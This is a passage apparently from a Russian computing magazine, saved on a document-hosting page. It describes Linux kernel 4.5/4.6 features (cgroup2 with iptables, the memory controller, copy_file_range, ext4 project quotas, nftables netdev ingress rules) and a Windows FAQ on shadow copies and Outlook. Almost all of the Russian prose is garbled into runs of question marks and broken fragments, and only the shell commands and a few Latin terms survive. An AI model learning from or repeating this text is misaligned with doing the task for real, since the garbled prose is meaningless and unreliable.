????????????? ???а???????? ???? ???????? ??????? cgroup2. ??????????????? ????????? ???а????????? cgroup2 ??????????? ?а?а?????? xt_cgroup
?аiptables, ??????????? ????? ????????? ??????? ???????? cgroup ???а?????? ?????. ??????? ????, ????????? ?а?????????? CONFIG_NETFILTER_XT_
MATCH_CGROUP.
$ echo 1 > /sys/fs/cgroup/net_cls/block/net_cls.classid
$ iptables -A OUTPUT -m cgroup ! --cgroup 1 -j ACCEPT
????????? CONFIG_NETFILTER_XT_MATCH_CGROUP
?аcgroup memory controller ????????? ??????????? ?????????????? ??????????? ?????? ?????????? ??????????? ??????, ??? ????????? ????????? ????????? ?а???????????? ??????????? ?????? ?а??????. ???а??????? ????? ???????
????????? ?а???????? ?????? ??-??? ???????? ????? ??????? ?????????????
?????? (cgroup.memory=nosocket). ??а????????? ?а????????? ?????????????
cgroup memory controller ?????????, ????????? ????? ??а??????? /sys/fs/
cgroup/memory.
??????????? ?????? ????? ?????:
$ cat /proc/cgroups | grep memory
$ dmesg | grep cgroup
???? ?а?????? ?????? ??а???????????, ???????? ???а???????? ??:
$ sudo nano /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet cgroup_enable=memory swapaccount=1"
????????? ?????? cgroup memory controller
??? ?????????? ???????? ??????????? ???????? ?????????, ??а????????????
????????? ?????????? ??а??? ?????. ??? ????? ?а???? ?????? ???? ???????
(Anna Schumaker) ??? ??????????? ????? ????????? ????? copy_file_range,
???????? ?а????? ?а???? 4.5. ??? ????????????? ????????? ???????? ??????????? ????? ??а???? ?????????? ???????? ????? ??? ???? ???а????????????
?а???????????? ????????????. ????????????? copy_file_range ??????????
?????? ???а?????? ??а????? ????? ????????????, ??а???а?????? ??? ??????
??? ??????????? ???? ?????. ??????????? ????????? ???????. ???, COPY_FR_
COPY ???????? ?????? ?а??????? ??????, ??????? ?????? ??а?????? ????????
??????? (???? ????????). ?а?????? COPY_FR_REFLINK ???а??????? ????? ????????????? ???? ??????????, ???а???????????? ??? ???????????. ????????,
Btrfs ????????? ????? ??????? ???????????? ???????? ??а????? ?????. ?????
COPY_FR_DEDUP ????? ??аCOPY_FR_REFLINK, ??а???????????, ????? ?????
??а????????? ?а?????????? ?????????, ?а?????????? ???????? ??? ????????????????? ?????, ??????? ?????????? ???? ?а?? ?? ????? ??????. ?а?????????
????? ????? ????? ????? ?????????? ???аBtrfs, ???? ????? ???а??????? copy
???аNFS v4.2 ?а???аXCOPY ?аSCSI. ?а????????? ??????? copy_file_range ??а????? ?????????? ?а????????? cp, ??? ???аI/O-???????? ?а?????????? ????????
????? ???????.
???????? ??????? ext4 ???????????? ????????? ????????? ????а? ????????????????, ?????????, ?????? ????????????? ??????????? ?????????
???? ???????? project quota. ???????? ??????????? ???? ??? ?аXFS ?аGPFS.
?аext4 ???????????? ????????? XFS. ?????? ???????????? ????? ????????????
??а????????? ???? ?а?????? ?????? (inode), ??????? ????? ???????????? ?????? ?а?????? ?????????. ??? ????? ??????? ????? ?????????? ?????????????
project ID ?а????????? ????/???? ???а????????????? ?????. ????? ??????? ?????
?????????? ??а?????????????. ???а???????? ????? ?а???????? ??? inode ????????????? ???????? ????????? ??????? ????????.
?аnetfilter/nftables ????????? ??????????? ??????????????? ?а???????????? ??????? netdev, ??????????? ?????? ???????????? ?????? ????? ?????
????????????.
# nft add table netdev filter
# nft list table netdev filter
# nft add chain netdev filter ingress { type filter hook ingress
device eth0 priority 0\; }
# nft add rule netdev filter ingress dup to dummy0
????? ????????? ????????? ????????? ?????? ?а?????? (mangling packet
payload) ?а?????????????? ?????????????? ??????????? ????? ?а???????????
????? ?а???????? ???????? ?????? ??? ???????.
????????? netdev ?аnftables
??????? ???? 4.6
????? ????? ?????????, ???????? ??????????? ???? ????????? ???????????,
????????? ?а4.6 ????? ??а??? ??? ????????? ??? ???????? ??-?? ?????????
?????????? ?а???????? ???????????. ???? ??????????? ????????? ?а????????
????? ????????? MDB Linux Kernel Debugger ?а?????? ?????????? ????????????? x86/x64, ??????????? ???????? ?????????? ????? ????? (Jeff Merkey).
???????? ?а????? ????????? ??? ?а????? 2.2, ??а?????? ??? ??? ????????? ?????????.
????? ?????????? ???????, ?????????? ?а??????????? ??????????? ???????????, ????? ??????????? ?????????????? ?????? ?а?????? ??а?????? ?????? ????????. ?аLinux ?????? ?а????? ????????? ???а?????????? ????????????
???а?????? ??????? mmap() ?аmprotect(). ???аLinux ???????????? ?????????
?????????? Memory Protection Keys (PKeys/MPK), ??????? ???????? ?а???????
??????????? Intel. ??? ????????? ???????? ????? ??????, ???????????? ?а????
???????????? ?????, ?????????? ???? ??????, ??????? ??????????? ???а???????. ????? ?????????? ??а??????? ??????????? ?а??????????? S390, HP/PA
(Hewlett-Packard Precision Architecture) ?аIntel. ??? ??? ?????????? ??а??????????. ?аIntel ???????????? 16 ?????? ??????, ?а???????? ????? ??????????????? ????????а? ??? ?????????? ????? ??????, ?????????? ???а??????? ?а??????? ?????????? ?а????? ????????.
?аARM64/AArch64 ???????? ????????? ????? ?????????? ???????? (halfprecision floating point), ???????????? ???????? ?а?????? ???????? ?????,
?а????????? User Access Override (UAO)а? ?????????? ARMv8.2 ???а?????????? ????????????.
???????????? ??????? ?а??????? 2015 ???? ?????? ??? ??????????? xHCI
USB ????????, ???????????? ???????????? ???????????? USB 3.1 ?а???????? ??аSuperSpeed+ ???????? 10 ????/?.
C ??????? 4.5 ???? ?????????, ??? ??а???????? ????? ?а??????? ??????
?????? ???, ??а????????????? ?????????? ?????: ?????????? ???????? APM
(Advanced Power Management), ???????? kgdb, ???????? ??????? Squashfs,
???? ????????? MIPS (????? ??????? ?????), ?????????? lblnet, ??????????
LLVMLinux ?а??????.
?????
???????, ?????????? ???? ?????? ??? ???? ???????? ????? ??????. ??а????????, ??? Linux ??????, ?????, ?а?????????, ??а??? ?? ??? ??????. ??? ?????????? ???? Linux ???????? ?????????, ?а???????? ?????????? ?????????? ?????
?, ???????, ???????? ???????. ??????, ??? ?а?????????, ????? ??????????,
????????? ????????? ??????? ?????????? ???????????? ????????.
FAQ
??????? Zemond
?????????
3em0nd@gmail.com
FAQ
?????? ?? ???????
?????????
(???? ???????? ??? ?? FAQ@GLC.RU)
??????????? ??????? ????? WINDOWS
?????? ?????????? ???а?????????? ?????? ?????? ????? ???? ?????????
?????????. ???????? ????? ??? ????????? ???а?????? ?а????????? ?????????, ?????? ?а??????? ???? ?а?????? ??????????. ?а??????????? ??????? Windows
?????????? ??? ???????? ????? ????? ???????? ????????? ??????? ???????
?????.
?а??????? ?????? (VSS) ?????????? ?????? ??а?????????? ??????. ?????
???????? ????????????? ?????? ???а? ??а????????? Windows ?????? ????? 64
????? ?????. ???????????? ?? ????? ???а???? ??????????????, ??? ??????а?
???а???а?????????????, ??? ?а???а?????? ?????????????? :).
??? ????????? ?????? ???????????? ??????? ?????:
? ??а????????? ???????????? ?????????? ???????? ????????? ???а?????а?
64. ???а?????????? ????? ???????? ?????? VSS ???????? ??????????? ?????????? ??????? ????? ?а??????? ????? ?????? ??????.
? ??? ??????? ????? ??????? ???????? 10% ??????? ???????, ?????? ???
???????? ????? ????????.
? ??????? ??????????? ?????????? ???а???? ???????, ?а???????? ??? ???а????????? ????? ??????????.
? Microsoft ??а??????????? ????????? ???????? ????, ??? ??? ?а???.
????????? ???????? VSS ???????? ??а?????? ???????, ?а???? ?????????, ??
????? ??????????? ??а????? ???????, ???а????? ?????????? ??а?????? ??????.
??? ????? ??????? ????? ???????? ?а????????? ???????? System Volume
Information. ??? ????? ????? ???????? ??а????????? ?а?а?????? ??а??? ????
????????????? ?????? VSSа? 3808876b-c176-4e48-b7ae-04046e6cc752.
???а????????? VSS ????? ??????? ???????? л?????????? ???????????╗, ?????????? ???? л????????? ?????????╗ ?, ??????? ?????? ??????? ???? ??а???????? ????? ?????, ??????? л??? ?????? ????????? ??????? ?????╗.
????????? ??????? ?????
????? ????? ????? ??????? ??????, ???????????? ??? ?а????????? ??????????
???????????. ???? ????? ?????-?? ????? ???????? ??а???? ?????? ???????
????? ?а????? ?ал????????
?????????? ??????╗, ?? ????? ????? ???????
?????? ????????? ??????? ?????.
???а??????, ???????? ?????? ?????
?а??????? ?????? ???????? ??? ??а???????. ?????? ?? ??а????? ????? ????
????????. ???????, ?????: ??????? ????? ?а??? ??а?????? ??????. ??а????????? ??а??? ?а??а?????? ???????? ???,
???а??????.
??????? ??? ??????????????
??????? OUTLOOK
?????????????? ????????? ??????а?
????? ????????, ??, ????? ????????????? ???? ????? ??а?????? ????, ???????????? ?????????? ?????????? ?????
??????: ?????? ??????????? ????????, ???????? ??????? ???? ?????? ???????, ?а???????, ???? ?????, ??? ??????
?а???? ?? ?????????. ??????? ??? ?а????????? ??? ?????? ??????? ?????????
???? ??????, ??? ?? ?а????????.
????? ??????? ??????? ?а???????
?????? ?????? ????? ??а?????. ????
???????? ?????? ???? ?а??????, ?????
?а??? ???????? ???????, ??????? ??а??????? ???????? ?а???????? ??а??????
??????????????.
?????? ??????? ?????
???????? ????????? ??????
???? ?????? ??????? ????????, ????? ????? ??????? ????? ???? ???????, ??а????
?? ?????, ?? ????? ?????? ??????? ???? ???, ?а????? ?????????? ?????????
??? ??????????? ??????????. ??????? ??? ?????? ??а??????а? ??????????????? ?????? ???? ?а?????????? ????????? (л?????????╗ -> ??????? л?????╗ ->
л???????? ?????? ??????????????╗).
??????? ?????? ??????????????
???? ????? ??????????? ??????? ??а????????? ??????, ?? ?а??? ????????. ?????????? ???????? Outlook ?а?????? ??????:
Outlook.exe /CleanAutoCompleteCache
????????? ???? ?а???????? ?????????? ?аWINDOWS 10
???а????????, Windows 10 ?????????? ????? ????? ?????? л?? ????╗
?аMicrosoftа?а?а???????? ???????? ???? ?? ??????????? ???????????? ????,
??? ?а???? ??????????. ?????? ????? ???????? ?????? ?а???, ???а????????? ????? ????????? ???????????.
?????????? ?????, ??????? ????? ?????????, ?????? ???????????. ??????????
Документ
Категория
Без категории
Просмотров
366
Размер файла
31 109 Кб
Теги
2016
1/--страниц
Пожаловаться на содержимое документа